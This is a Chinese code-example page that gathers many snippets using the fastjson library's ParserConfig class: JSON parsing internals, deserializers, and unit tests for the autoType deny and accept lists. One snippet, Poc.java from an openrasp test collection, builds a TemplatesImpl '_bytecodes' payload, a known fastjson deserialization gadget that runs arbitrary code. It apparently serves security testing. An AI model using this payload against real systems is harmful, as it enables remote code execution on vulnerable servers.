Java 类com.alibaba.fastjson.parser.ParserConfig 实例源码

项目：GitHub 文件：ASMDeserializerFactory.java

private void _getFieldDeser(Context context, MethodVisitor mw, FieldInfo fieldInfo) {
    Label notNull_ = new Label();
    mw.visitVarInsn(ALOAD, 0);
    mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));
    mw.visitJumpInsn(IFNONNULL, notNull_);

    mw.visitVarInsn(ALOAD, 0);

    mw.visitVarInsn(ALOAD, 1);
    mw.visitMethodInsn(INVOKEVIRTUAL, DefaultJSONParser, "getConfig", "()" + desc(ParserConfig.class));
    mw.visitLdcInsn(com.alibaba.fastjson.asm.Type.getType(desc(fieldInfo.fieldClass)));
    mw.visitMethodInsn(INVOKEVIRTUAL, type(ParserConfig.class), "getDeserializer",
                       "(Ljava/lang/reflect/Type;)" + desc(ObjectDeserializer.class));

    mw.visitFieldInsn(PUTFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));

    mw.visitLabel(notNull_);

    mw.visitVarInsn(ALOAD, 0);
    mw.visitFieldInsn(GETFIELD, context.className, fieldInfo.name + "_asm_deser__", desc(ObjectDeserializer.class));
}

项目：uavstack 文件：JSON.java

@SuppressWarnings("unchecked")
public static final <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    }

    for (Feature featrue : features) {
        featureValues = Feature.config(featureValues, featrue, true);
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
    T value = (T) parser.parseObject(clazz);

    parser.handleResovleTask(value);

    parser.close();

    return (T) value;
}

项目：WeiMusicCommunity-server 文件：HttpJson.java

public boolean resolveJsonString(Class className) {
    boolean re = false;
    try {
        //先调用不带参数的方法解析HttpJson的内部成员变量
        re = resolveJsonString();
        //将对于JodaTime的逆序列化支持加载进来
        ParserConfig.getGlobalInstance().putDeserializer(LocalDate.class, JodaTimeDeserializer.instance);
        //将附加传递的classObjectString 先从org.json中解析出来
        this.classObjectString = jsonObject.getString("classObjectString");
        //确认有类传过来才执行类解析
        if (!(classObjectString.equals("") || classObjectString.equals("{}"))) {
            this.classObject = JSON.parseObject(classObjectString, className);
        }
    } catch (Exception e) {
        e.printStackTrace();
    }

    return re;

}

项目：GitHub 文件：JSON.java

@SuppressWarnings("unchecked")
public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    }

    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
    T value = (T) parser.parseObject(clazz);

    parser.handleResovleTask(value);

    parser.close();

    return (T) value;
}

项目：GitHub 文件：JSON.java

public static <T> List<T> parseArray(String text, Class<T> clazz) {
    if (text == null) {
        return null;
    }

    List<T> list;

    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance());
    JSONLexer lexer = parser.lexer;
    int token = lexer.token();
    if (token == JSONToken.NULL) {
        lexer.nextToken();
        list = null;
    } else if (token == JSONToken.EOF && lexer.isBlankInput()) {
        list = null;
    } else {
        list = new ArrayList<T>();
        parser.parseArray(clazz, list);

        parser.handleResovleTask(list);
    }

    parser.close();

    return list;
}

项目：boohee_v5.6 文件：JSON.java

public static final List<Object> parseArray(String text, Type[] types) {
    if (text == null) {
        return null;
    }
    List<Object> list;
    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance());
    Object[] objectArray = parser.parseArray(types);
    if (objectArray == null) {
        list = null;
    } else {
        list = Arrays.asList(objectArray);
    }
    parser.handleResovleTask(list);
    parser.close();
    return list;
}

项目：GitHub 文件：TypeUtils.java

@SuppressWarnings("unchecked")
public static <T> T cast(Object obj, Type type, ParserConfig mapping){
    if(obj == null){
        return null;
    }
    if(type instanceof Class){
        return (T) cast(obj, (Class<T>) type, mapping);
    }
    if(type instanceof ParameterizedType){
        return (T) cast(obj, (ParameterizedType) type, mapping);
    }
    if(obj instanceof String){
        String strVal = (String) obj;
        if(strVal.length() == 0 //
                || "null".equals(strVal) //
                || "NULL".equals(strVal)){
            return null;
        }
    }
    if(type instanceof TypeVariable){
        return (T) obj;
    }
    throw new JSONException("can not cast to : " + type);
}

项目：GitHub 文件：ABCTest.java

public void test_abc() throws Exception {
    Field field = ParserConfig.class.getDeclaredField("denyList");
    field.setAccessible(true);

    String[] denyList = (String[]) field.get(ParserConfig.getGlobalInstance());
    Arrays.sort(denyList);

    for (int i = 0; i < denyList.length; ++i) {
        if (i != 0) {
            System.out.print(",");
        }
        System.out.print(denyList[i]);
    }

    for (int i = 0; i < denyList.length; ++i) {
        // System.out.println("\"" + denyList[i] + "\",");
        System.out.println(denyList[i]);
    }

    System.out.println();
    System.out.println(Base64.encodeToString("\"@type".getBytes(), true));
}

项目：GitHub 文件：ParserConfigBug569.java

public FieldDeserializer createFieldDeserializer(ParserConfig mapping, //
                                                 JavaBeanInfo beanInfo, //
                                                 FieldInfo fieldInfo) {
    Class<?> clazz = beanInfo.clazz;
    Class<?> fieldClass = fieldInfo.fieldClass;

    Class<?> deserializeUsing = null;
    JSONField annotation = fieldInfo.getAnnotation();
    if (annotation != null) {
        deserializeUsing = annotation.deserializeUsing();
        if (deserializeUsing == Void.class) {
            deserializeUsing = null;
        }
    }

    if (deserializeUsing == null && (fieldClass == List.class || fieldClass == ArrayList.class)) {
        return new ArrayListTypeFieldDeserializer(mapping, clazz, fieldInfo);
    }

    return new DefaultFieldDeserializerBug569(mapping, clazz, fieldInfo);
}

项目：GitHub 文件：NamingSerTest.java

public void test_camel() throws Exception {
    SerializeConfig config = new SerializeConfig();
    config.propertyNamingStrategy = PropertyNamingStrategy.CamelCase;

    Model model = new Model();
    model.personId = 1001;
    String text = JSON.toJSONString(model, config);
    Assert.assertEquals("{\"personId\":1001}", text);

    ParserConfig parserConfig = new ParserConfig();
    parserConfig.propertyNamingStrategy = PropertyNamingStrategy.CamelCase;
    Model model2 = JSON.parseObject(text, Model.class, parserConfig);
    Assert.assertEquals(model.personId, model2.personId);

    Model model3 = JSON.parseObject(text, Model.class);
    Assert.assertEquals(model.personId, model3.personId);
}

项目：GitHub 文件：DefaultExtJSONParserTest.java

public void test_parseObject() {
    new DefaultJSONParser("".toCharArray(), 0, ParserConfig.getGlobalInstance(), 0).close();
    User user = new User();
    user.setName("校长");
    user.setAge(3);
    user.setSalary(new BigDecimal("123456789.0123"));

    String jsonString = JSON.toJSONString(user);

    System.out.println(jsonString);

    JSON.parseObject(jsonString);

    DefaultJSONParser parser = new DefaultJSONParser(jsonString);
    User user1 = new User();
    parser.parseObject(user1);

    Assert.assertEquals(user.getAge(), user1.getAge());
    Assert.assertEquals(user.getName(), user1.getName());
    Assert.assertEquals(user.getSalary(), user1.getSalary());
}

项目：GitHub 文件：WriteClassNameTest_Set2.java

public void test_list() throws Exception {
        A a = new A();
        Set<B> set = new LinkedHashSet<B>();
        set.add(new B());
        set.add(new B1());
        a.setList(set);
        String text = JSON.toJSONString(a, SerializerFeature.WriteClassName);
        System.out.println(text);
//        Assert.assertEquals("{\"@type\":\"com.alibaba.json.bvt.writeClassName.WriteClassNameTest_Set2$A\",\"list\":[{},{\"@type\":\"com.alibaba.json.bvt.writeClassName.WriteClassNameTest_Set2$B1\"}]}",
//                            text);

        ParserConfig parserConfig = new ParserConfig();
        parserConfig.addAccept("com.alibaba.json.bvt");
        A a1 = (A) JSON.parseObject(text, Object.class, parserConfig);

        Assert.assertEquals(2, a1.getList().size());
        Assert.assertTrue("B", new ArrayList<B>(a1.getList()).get(0) instanceof B || new ArrayList<B>(a1.getList()).get(0) instanceof B1);
        Assert.assertTrue("B1", new ArrayList<B>(a1.getList()).get(1) instanceof B || new ArrayList<B>(a1.getList()).get(1) instanceof B1);
    }

项目：GitHub 文件：ArrayListStringDeserializerTest.java

public static final <T> T parseObject(String input, Type clazz, Feature... features) {
    if (input == null) {
        return null;
    }

    int featureValues = 0;
    for (Feature feature : features) {
        featureValues = Feature.config(featureValues, feature, true);
    }

    DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
    T value = (T) parser.parseObject(clazz);

    if (clazz != JSONArray.class) {
        parser.close();
    }

    return (T) value;
}

项目：GitHub 文件：DenyTest3.java

public void test_0() throws Exception {
    String text = "{}";

    ParserConfig config = new ParserConfig();

    Properties properties = new Properties();
    properties.put(ParserConfig.DENY_PROPERTY, "com.alibaba.json.bvtVO.deny,,aa");
    config.configFromPropety(properties);

    Exception error = null;
    try {
        JSON.parseObject("{\"@type\":\"com.alibaba.json.bvtVO.deny$A\"}", Object.class, config, JSON.DEFAULT_PARSER_FEATURE);
    } catch (JSONException ex) {
        error = ex;
    }
    Assert.assertNotNull(error);

    JSON.parseObject(text, B.class, config, JSON.DEFAULT_PARSER_FEATURE);
}

项目：GitHub 文件：DenyTest7.java

public void test_autoTypeDeny() throws Exception {
    ParserConfig config = new ParserConfig();

    assertFalse(config.isAutoTypeSupport());
    config.setAutoTypeSupport(true);
    assertTrue(config.isAutoTypeSupport());

    Properties properties = new Properties();
    properties.put(ParserConfig.AUTOTYPE_SUPPORT_PROPERTY, "false");

    config.configFromPropety(properties);

    assertFalse(config.isAutoTypeSupport());

    Exception error = null;
    try {
        Object obj = JSON.parseObject("{\"@type\":\"com.alibaba.json.bvt.parser.deser.deny.DenyTest7$Model\"}", Object.class, config);
        System.out.println(obj.getClass());
    } catch (JSONException ex) {
        error = ex;
    }
    assertNotNull(error);
}

项目：GitHub 文件：DenyTest6.java

public void test_autoTypeDeny() throws Exception {
    ParserConfig config = new ParserConfig();
    assertFalse(config.isAutoTypeSupport());
    config.setAutoTypeSupport(true);
    assertTrue(config.isAutoTypeSupport());
    config.addDeny("com.alibaba.json.bvt.parser.deser.deny.DenyTest6");
    config.setAutoTypeSupport(false);

    Exception error = null;
    try {
        Object obj = JSON.parseObject("{\"@type\":\"com.alibaba.json.bvt.parser.deser.deny.DenyTest6$Model\"}", Object.class, config);
        System.out.println(obj.getClass());
    } catch (JSONException ex) {
        error = ex;
    }
    assertNotNull(error);
}

项目：GitHub 文件：PatternDeserializerTest.java

public void test_pattern() throws Exception {
    Assert.assertEquals(Pattern.compile("abc").pattern(), JSON.parseObject("'abc'", Pattern.class).pattern());

    Assert.assertEquals(null, JSON.parseObject("null", Pattern.class));

    DefaultJSONParser parser = new DefaultJSONParser("null", ParserConfig.getGlobalInstance(), JSON.DEFAULT_PARSER_FEATURE);
    Assert.assertEquals(null, MiscCodec.instance.deserialze(parser, null, null));
    Assert.assertEquals(JSONToken.LITERAL_STRING, MiscCodec.instance.getFastMatchToken());
}

项目：GitHub 文件：ArrayListTypeFieldDeserializer.java

public ArrayListTypeFieldDeserializer(ParserConfig mapping, Class<?> clazz, FieldInfo fieldInfo){
    super(clazz, fieldInfo);

    Type fieldType = fieldInfo.fieldType;
    if (fieldType instanceof ParameterizedType) {
        Type argType = ((ParameterizedType) fieldInfo.fieldType).getActualTypeArguments()[0];
        if (argType instanceof WildcardType) {
            WildcardType wildcardType = (WildcardType) argType;
            Type[] upperBounds = wildcardType.getUpperBounds();
            if (upperBounds.length == 1) {
                argType = upperBounds[0];
            }
        }
        this.itemType = argType;
    } else {
        this.itemType = Object.class;
    }
}

项目：boohee_v5.6 文件：JSON.java

public static final Object parse(String text, int features) {
    if (text == null) {
        return null;
    }
    DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
    Object value = parser.parse();
    parser.handleResovleTask(value);
    parser.close();
    return value;
}

项目：GitHub 文件：ASMDeserializerFactory.java

public Context(String className, ParserConfig config, JavaBeanInfo beanInfo, int initVariantIndex){
    this.className = className;
    this.clazz = beanInfo.clazz;
    this.variantIndex = initVariantIndex;
    this.beanInfo = beanInfo;
    fieldInfoList = beanInfo.fields;
}

项目：GitHub 文件：JSONObject.java

public <T> T getObject(String key, TypeReference typeReference) {
    Object obj = map.get(key);
    if (typeReference == null) {
        return (T) obj;
    }
    return TypeUtils.cast(obj, typeReference.getType(), ParserConfig.getGlobalInstance());
}

项目：GitHub 文件：DefaultExtJSONParserTest_3.java

public void test_7() throws Exception {
    DefaultJSONParser parser = new DefaultJSONParser("123");

    ParserConfig mapping = new ParserConfig();
    parser.setConfig(mapping);
    Assert.assertEquals(mapping, parser.getConfig());
}

项目：GitHub 文件：TestNonASM.java

public void test_no_asm() throws Exception {
    ParserConfig mapping = new ParserConfig();

    mapping.setAsmEnable(false);
    Assert.assertEquals(false, mapping.isAsmEnable());

    mapping.setAsmEnable(true);
    Assert.assertEquals(true, mapping.isAsmEnable());
}

项目：GitHub 文件：DenyTest11.java

protected void setUp() throws Exception {
    assertFalse(config.isAutoTypeSupport());

    Properties properties = new Properties();
    properties.put(ParserConfig.AUTOTYPE_SUPPORT_PROPERTY, "false");
    config.addAccept("com.alibaba.json.bvt.parser.deser.deny.DenyTest11.Model");
    // -ea -Dfastjson.parser.autoTypeAccept=com.alibaba.json.bvt.parser.deser.deny.DenyTest9
    config.configFromPropety(properties);

    assertFalse(config.isAutoTypeSupport());
}

项目：GitHub 文件：JSON.java

/**
 * config default type key
 * @since 1.2.14
 */
public static void setDefaultTypeKey(String typeKey) {
    DEFAULT_TYPE_KEY = typeKey;
    ParserConfig.global.symbolTable.addSymbol(typeKey, 
                                              0, 
                                              typeKey.length(), 
                                              typeKey.hashCode(), true);
}

项目：boohee_v5.6 文件：JSON.java

public static final Object parse(byte[] input, int off, int len, CharsetDecoder charsetDecoder, int features) {
    charsetDecoder.reset();
    char[] chars = ThreadLocalCache.getChars((int) (((double) len) * ((double) charsetDecoder.maxCharsPerByte())));
    ByteBuffer byteBuf = ByteBuffer.wrap(input, off, len);
    CharBuffer charBuf = CharBuffer.wrap(chars);
    IOUtils.decode(charsetDecoder, byteBuf, charBuf);
    DefaultJSONParser parser = new DefaultJSONParser(chars, charBuf.position(), ParserConfig.getGlobalInstance(), features);
    Object value = parser.parse();
    parser.handleResovleTask(value);
    parser.close();
    return value;
}

项目：GitHub 文件：JSON.java

/**
 *
 * @since 1.2.38
 */
public static Object parse(String text, ParserConfig config, int features) {
    if (text == null) {
        return null;
    }

    DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
    Object value = parser.parse();

    parser.handleResovleTask(value);

    parser.close();

    return value;
}

项目：openrasp-testcases 文件：Poc.java

public static void testAutoTypeDeny(String rootPath) throws Exception {
    ParserConfig config = new ParserConfig();
    final String fileSeparator = System.getProperty("file.separator");
    final String evilClassPath = rootPath + fileSeparator + "WEB-INF" + fileSeparator + "classes"
            + fileSeparator + "person" + fileSeparator + "Test.class";
    String evilCode = readClass(evilClassPath);
    final String nastyClass = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + nastyClass
            + "\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ },"
            + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);
    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}

项目：GitHub 文件：FastjsonBeanToArrayCodec.java

public final Object decodeObject(String text) {
    ParserConfig config = ParserConfig.global;
    DefaultJSONParser parser = new DefaultJSONParser(text, config);
    parser.config(Feature.DisableCircularReferenceDetect, true);
    parser.config(Feature.SupportArrayToBean, true);
    return parser.parse();
}

项目：boohee_v5.6 文件：JSON.java

public static final <T> T parseObject(char[] input, int length, Type clazz, Feature... features) {
    if (input == null || input.length == 0) {
        return null;
    }
    int featureValues = DEFAULT_PARSER_FEATURE;
    for (Feature featrue : features) {
        featureValues = Feature.config(featureValues, featrue, true);
    }
    DefaultJSONParser parser = new DefaultJSONParser(input, length, ParserConfig.getGlobalInstance(), featureValues);
    T value = parser.parseObject(clazz);
    parser.handleResovleTask(value);
    parser.close();
    return value;
}

项目：GitHub 文件：FastjsonBeanToArrayCodec.java

public <T> Collection<T> decodeArray(String text, Class<T> clazz) throws Exception {
    ParserConfig config = ParserConfig.global;
    DefaultJSONParser parser = new DefaultJSONParser(text, config);
    parser.config(Feature.DisableCircularReferenceDetect, true);
    parser.config(Feature.SupportArrayToBean, true);
    return parser.parseArray(clazz);
}

项目：GitHub 文件：JSONPath.java

public JSONPath(String path, SerializeConfig serializeConfig, ParserConfig parserConfig){
    if (path == null || path.length() == 0) {
        throw new JSONPathException("json-path can not be null or empty");
    }

    this.path = path;
    this.serializeConfig = serializeConfig;
    this.parserConfig = parserConfig;
}

项目：GitHub 文件：DefaultJSONParserTest_date.java

public void test_date() {
    String text = "{\"date\":\"2011-01-09T13:49:53.254\"}";
    char[] chars = text.toCharArray();
    DefaultJSONParser parser = new DefaultJSONParser(chars, chars.length, ParserConfig.getGlobalInstance(), 0);
    parser.config(Feature.AllowISO8601DateFormat, true);
    JSONObject json = parser.parseObject();
    Assert.assertEquals(new Date(1294552193254L), json.get("date"));
}

项目：uavstack 文件：ASMDeserializerFactory.java

public Context(String className, ParserConfig config, DeserializeBeanInfo beanInfo, int initVariantIndex){
    this.className = className;
    this.clazz = beanInfo.getClazz();
    this.variantIndex = initVariantIndex;
    this.beanInfo = beanInfo;
    fieldInfoList = new ArrayList<FieldInfo>(beanInfo.getFieldList());
}

项目：GitHub 文件：DefaultJSONParserTest_date.java

public void test_date4() {
    String text = "{\"1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst\\t\":\"xxxxx\"}";
    char[] chars = text.toCharArray();
    DefaultJSONParser parser = new DefaultJSONParser(chars, chars.length, ParserConfig.getGlobalInstance(), 0);
    parser.config(Feature.AllowISO8601DateFormat, true);
    JSONObject json = parser.parseObject();
    Assert.assertEquals("xxxxx", json.get("1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst1234567890abcdefghijklmnopqrst\t"));
}

项目：GitHub 文件：ParseErrorTest_21.java

public void test_for_error_2() throws Exception {
    Exception error = null;
    try {
        JSON.parseObject("{\"value\":{'child1':{\"id\":123}}}", Model.class, ParserConfig.getGlobalInstance(), 0);   
    } catch (JSONException ex) {
        error = ex;
    }
    Assert.assertNotNull(error);
}

项目：GitHub 文件：ParseErrorTest_21.java

public void test_for_error_5() throws Exception {
    Exception error = null;
    try {
        JSON.parseObject("{\"value\":{child1,{\"id\":123}}}", Model.class, ParserConfig.getGlobalInstance(), 0, Feature.AllowUnQuotedFieldNames);   
    } catch (JSONException ex) {
        error = ex;
    }
    Assert.assertNotNull(error);
}

项目：boohee_v5.6 文件：JavaBeanDeserializer.java

public JavaBeanDeserializer(ParserConfig config, Class<?> clazz, Type type) {
    this.feildDeserializerMap = new IdentityHashMap();
    this.fieldDeserializers = new ArrayList();
    this.sortedFieldDeserializers = new ArrayList();
    this.clazz = clazz;
    this.beanInfo = DeserializeBeanInfo.computeSetters(clazz, type);
    for (FieldInfo fieldInfo : this.beanInfo.getFieldList()) {
        addFieldDeserializer(config, clazz, fieldInfo);
    }
    for (FieldInfo fieldInfo2 : this.beanInfo.getSortedFieldList()) {
        this.sortedFieldDeserializers.add((FieldDeserializer) this.feildDeserializerMap.get(fieldInfo2.getName().intern()));
    }
}

项目：GitHub 文件：AETest.java

public void test_for_ae() throws Exception {
    ParserConfig.getGlobalInstance().putDeserializer(Area.class, new ObjectDeserializer() {
        public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
            JSONObject jsonObject = (JSONObject) parser.parse();
            String areaType;

            if (jsonObject.get("type") instanceof String) {
                areaType = (String) jsonObject.get("type");
            } else {
                return null;
            }
            if (Area.TYPE_FLOOR.equals(areaType)) {
                 return (T) JSON.toJavaObject(jsonObject, Floor.class);
            } else if (Area.TYPE_ITEM.equals(areaType)) {
                return (T) JSON.toJavaObject(jsonObject, Item.class);
            }

            return null;
        }

        public int getFastMatchToken() {
            return JSONToken.LBRACE;
        }
    });


    Data data = JSON.parseObject(jsonData, Data.class);

    Item item = (Item) ((Floor)(data.areaList.get(0))).children.get(0);
}

项目：GitHub 文件：Issue1503.java

public void test_for_issue() throws Exception {
    ParserConfig config = new ParserConfig();
    config.setAutoTypeSupport(true);
    Map<Long, Bean> map = new HashMap<Long, Bean>();
    map.put(null, new Bean());
    Map<Long, Bean> rmap = (Map<Long, Bean>) JSON.parse(JSON.toJSONString(map, SerializerFeature.WriteClassName), config);
    System.out.println(rmap);
}